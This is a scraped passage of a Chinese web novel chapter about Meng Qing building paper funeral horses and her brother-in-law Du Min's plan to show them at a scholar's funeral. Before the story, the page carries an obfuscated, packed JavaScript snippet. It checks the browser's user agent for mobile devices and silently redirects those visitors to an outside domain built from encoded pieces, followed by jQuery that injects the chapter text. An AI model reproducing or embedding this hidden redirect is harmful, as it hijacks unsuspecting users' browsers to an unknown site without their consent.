;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868303|175494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不忿地盯她两眼,他后知后觉地发现他在她面前也没多少说话的份儿,她愿不愿意听他说话全看她乐不乐意。 “我走了。”他垂头丧气地去坐船。 他穿着来时穿的黑短褂和褐黄色裤子,上下两件都洗得泛白,颜色斑驳,烂得起毛边,垂着头一步步下台阶时,像一只被人遗弃的老猫。 “哎,杜黎。”孟青心软了,她叫住他,说:“你常来看我,望舟每天都会想你。” 杜黎坐船都出吴门了,他才悟到她的意思,她是说她每天都会想他。 孟青回家看她的纸马,阴干一夜,纸上糊的骨胶都干了,敲上去铮铮响,纸层发硬,配上墨染的颜色,在太阳下黑得发亮反光。她等望舟睡着之后,在孟春的配合下,她给另一匹马糊裱墨纸。 糊裱纸、阴干、再糊裱纸,反复两天,纸马糊有七层纸,一千张黄麻纸用尽,糊裱的任务完成了。 就在孟青要让孟春去书院找杜悯的时候,杜悯面带喜色急匆匆上门。一进门,他先被摆放在木棚下的两匹黑马镇住了,两匹纸马背高六尺,通体乌黑,蹄角、膝骨、关节样样俱全,但马首上五官少四官,空白的马脸直愣愣冲着大门,骇人的紧。 “三弟,正要去找你,这两匹纸马差不多快完工了,你挑个日子带顾无夏来,让他带上骏马图,我再对比着图调个色。”孟青说。 “还调色啊?我觉得这样就挺好。” “杜三哥,坐。”孟春拿来板凳,说:“我们店里又接到一笔生意,儒林坊有一户人家要买两个花圈和一顶纸轿,我们要抓紧时间把这两匹纸马完工,也能腾出手忙其他的活儿。” “我知道,花圈和纸轿是谢夫子派人买的,府学的陈博士已到弥留之际,书院的夫子都会去祭拜。我今天来就为这事,你们尽快给纸马裱上眼口鼻舌,顾无夏的爹跟陈博士的大儿子是旧识,他肯定会去祭拜,说不定他能用上纸马。”杜悯噼里啪啦地说。 “你等等,我捋捋。”孟青忙说,府学是苏州府唯一一所官学,博士好比后世一省重点高中的校长,官学的话事人快死了,看样子杜悯要抓住这个机会,把纸扎明器递到苏州府有权有钱有名望的一帮人眼皮子下。 “你不用捋明白,按我说的做就行。”杜悯霸道地说。 “你的策论做出来了?”孟青问。 “对,两天前就交给谢夫子了,这两天已经在书院传开,就差一把火了。”杜悯很兴奋,陈博士的大儿子是礼部员外郎,礼部主管祭祀礼仪,圣人倡议丧事薄葬,礼部官员总要带头遵守,陈博士死了不便用陶制明器厚葬,他的策论和孟家纸马店的纸质明器可不就送到陈员外心槛上了。 真是时也势也,他杜悯就是有这个出名的命。 “行,你尽管张罗,我们一定把纸扎明器做到最好,不会拖你后腿。”孟青答应下来,她心想杜悯真是个不错的合伙人,够机灵会钻营,能抓住一切得利的机会。 “还是跟二嫂谈事爽快。”杜悯浑身舒畅,他朝后院看,问:“我二哥回去了?” “早回去了,我想留他多住几天,他不肯,放不下地里的活儿,地里的活儿比他儿子还重要。”孟青生气。 杜悯仔细观察,她似是什么都不知道,他歉意地说:“我这段日子太累了,肝火大,前几天我二哥去找我,我说了几句胡话,估计伤到他的心了。” 孟青顺坡下,她讶异道:“怪不得他回来之后怪怪的,情绪一直不高,看着反常的很。他独自离开的时候我还挺不放心,琢磨着纸马完工了要回去住段日子。” 杜悯这时候哪肯让她回去,他说他改天抽空回去一天。